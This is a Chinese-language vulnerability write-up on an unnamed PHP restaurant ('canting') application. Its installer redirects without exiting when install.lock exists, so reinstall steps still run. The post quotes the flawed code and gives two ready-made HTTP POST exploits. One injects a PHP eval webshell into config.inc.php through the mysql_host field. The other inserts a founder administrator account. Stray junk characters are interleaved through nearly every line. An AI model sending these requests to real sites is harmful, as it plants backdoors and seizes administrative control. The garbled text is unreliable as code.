问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
' C9 ^0 h# b' P( |0 I3 Q
6 i& o1 S7 _- m! e8 H4 e( i<?php
9 U, A, H9 p( V7 ?, p: Aif(file_exists("../install.lock"))1 o9 p2 |( z1 ~' Y4 g8 {
{) F; m" z2 d" U' }
header("Location: ../");//没有退出( w% z8 |7 j, x) P. @9 ]( U
}
, J9 I+ D! H) l' L0 U- G7 T
3 j3 x) g( P4 ~6 X//echo 'tst';exit;
4 ~( ^# s; s" ?8 c( E- `+ _require_once("init.php");) o1 N8 T! h% ?1 k5 T/ M1 t* x- i: x: [
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
- o# Z1 w; z( Z6 h( @- _/ C{
! ~/ o; \0 s/ @0 _可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。. G/ T' x6 B4 f% N( ^. Y- U9 E
$ I5 _: z4 i# z' b. h' E1、getshell(很危险)
: {1 t3 E; p. ]. u4 [if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
4 V$ d+ B( D3 |2 r3 `" J7 q{6 E7 E7 F" m3 n. l9 e
$smarty->assign("step",1);9 A% P& a! c- i
$smarty->display("index.html");2 v9 c- x$ F! Q* |- B$ L0 w; |
}elseif($_REQUEST['step']==2)
& [7 p: V P [- g) u) y4 w0 M{
* d f# |+ N' Z& H) N7 z $mysql_host=trim($_POST['mysql_host']);, P% O' f* X* @3 o5 U9 g) t0 b" @
$mysql_user=trim($_POST['mysql_user']);
/ U. q! q$ X3 c( j6 W $mysql_pwd=trim($_POST['mysql_pwd']);
8 i; G" }$ G: j $mysql_db=trim($_POST['mysql_db']);
. ~& z) o+ u1 T! H$ V6 l$ z $tblpre=trim($_POST['tblpre']);2 c4 @, k( c/ R& s: |, c# \
$domain==trim($_POST['domain']);( X) d d7 b9 v4 E
$str="<?php \r\n";
* z% l) u' x! z0 @, D% E: U+ U4 X $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";$ G Y/ S* `' p+ _7 s) R% `- c
$str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
' L) g7 F5 k* f+ \- f $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
9 t6 a% p# e% g' E4 V $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
2 S8 `* A n6 f+ Z $str.='define("MYSQL_CHARSET","GBK");'."\r\n";/ e( E x0 {" A3 {5 [, u
$str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";7 Z1 F, K6 ]$ U' e) s4 c1 j. R
$str.='define("DOMAIN","'.$domain.'");'."\r\n";0 t1 p. C$ A; R; I) i
$str.='define("SKINS","default");'."\r\n";' a3 Q; B* [' t. ^* c3 T
$str.='?>';6 }% o% Q3 ?/ i
file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件9 |/ E0 V' |7 j4 I
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马7 Q7 Y# C& f5 a6 H n- w
POST /canting/install/index.php?m=index&step=2 HTTP/1.1
( h" j( j2 Q9 { OHost: 192.168.80.129
' e& V2 r1 B0 t8 N6 a$ aUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0! Y4 h: Y6 k/ E2 S. i8 z
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
8 v, ^' a: A- s! X- F0 g- V8 F2 oAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
2 F1 \: k- f7 q O' \: {$ ^& O, }Accept-Encoding: gzip, deflate W" S8 C* h: \1 n, C
Referer: http://192.168.80.129/canting/install/index.php?step=1
# G# C! x& N- }1 kCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
0 k# ~, L9 W- [7 I7 `- O* H/ @, \Content-Type: application/x-www-form-urlencoded/ r3 q+ {5 {2 l9 ^9 Q( d2 ]
Content-Length: 126
' y" m: L/ z! O" o2 ]; p
" @: U! s% G. ?mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD* `& @, R; L ?8 g4 [$ |7 \1 c0 b
但是这个方法很危险,将导致网站无法运行。
- z8 d* `1 r2 w% b0 Y" A, ?4 z" D
$ {$ P1 W' n+ I0 E: {) l2、直接添加管理员
8 n4 |1 r$ A! E5 R, A' w: X5 q& N! e2 _0 l$ g& M9 X
elseif($_REQUEST['step']==5)2 f8 L2 L2 ~5 _* a9 G) `
{% A. s, A6 X. x/ a3 D2 H2 x6 |% I
if($_POST)$ K7 K5 {( x% _+ h9 k) X( E7 A7 |
{ require_once("../config/config.inc.php");! h: o/ ]. Y/ n6 D/ }! T, A
$link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);1 I' _5 R+ P/ l& y
mysql_select_db(MYSQL_DB,$link);3 r/ |. |1 m5 y! f5 ~; M
mysql_query("SET NAMES ".MYSQL_CHARSET );. ^4 X5 }! V' S# Y3 S/ L9 q2 F) V
mysql_query("SET sql_mode=''");% Q! I- }" @8 n2 r6 T, I9 r7 b: i
( K- k, M' _0 o $adminname=trim($_POST['adminname']);
1 A5 Q* y+ ?# g $pwd1=trim($_POST['pwd1']);5 C+ d$ K9 }3 u5 H8 ^
$pwd2=trim($_POST['pwd2']);
9 D9 v' T R* {0 s if(empty($adminname))0 \/ g! f, z2 Q+ d! ^
{
- d8 ]1 A4 R$ m9 b( w- k9 k( F! q. b6 ?: \' Z
echo "<script>alert('管理员不能为空');history.go(-1);</script>";4 n- x. n% `/ R! ]
exit();1 \4 R4 q0 q4 j8 K5 T* y
}/ l7 P7 q0 ?% @3 I, d4 s! }0 c" D0 K6 J
if(($pwd1!=$pwd2) or empty($pwd1))
, P0 o- m% C4 {' Z0 e {
1 M5 \' E1 r6 c- C* C' c echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
1 L7 \( O o* v4 ~' ? S3 ~ }% b9 Y! d5 r4 C' j. h1 W! U! i
mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
% }. k S, B# a% G/ w$ ~! S) D }2 C$ E4 _& K) c( _2 J
这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:" [. @) f S: ]% Y0 G8 |
POST /canting/install/index.php?m=index&step=5 HTTP/1.1; s: g9 E: V- I6 t
Host: 192.168.80.129/ z( J9 J7 I7 Y" N& W1 b
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
3 |5 v) B! H$ \5 \8 IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.88 L S- g2 [1 e5 n
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
, X5 Q k5 ?0 vAccept-Encoding: gzip, deflate
]6 @+ }5 w, J) x( zReferer: http://www.2cto.com /canting/install/index.php?step=1- H/ C7 L5 }! M' E4 k
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
5 _; D# k% H* f3 ^: C, WContent-Type: application/x-www-form-urlencoded
% u; l3 g, g- P, v4 X0 `Content-Length: 46- i2 `& x& s. z& c6 f# M3 J7 B0 I( _
8 K, F G# N$ c$ l/ x+ X! ]
adminname=qingshen&pwd1=qingshen&pwd2=qingshen. V/ [4 @$ ?0 O7 h' c6 [7 X
|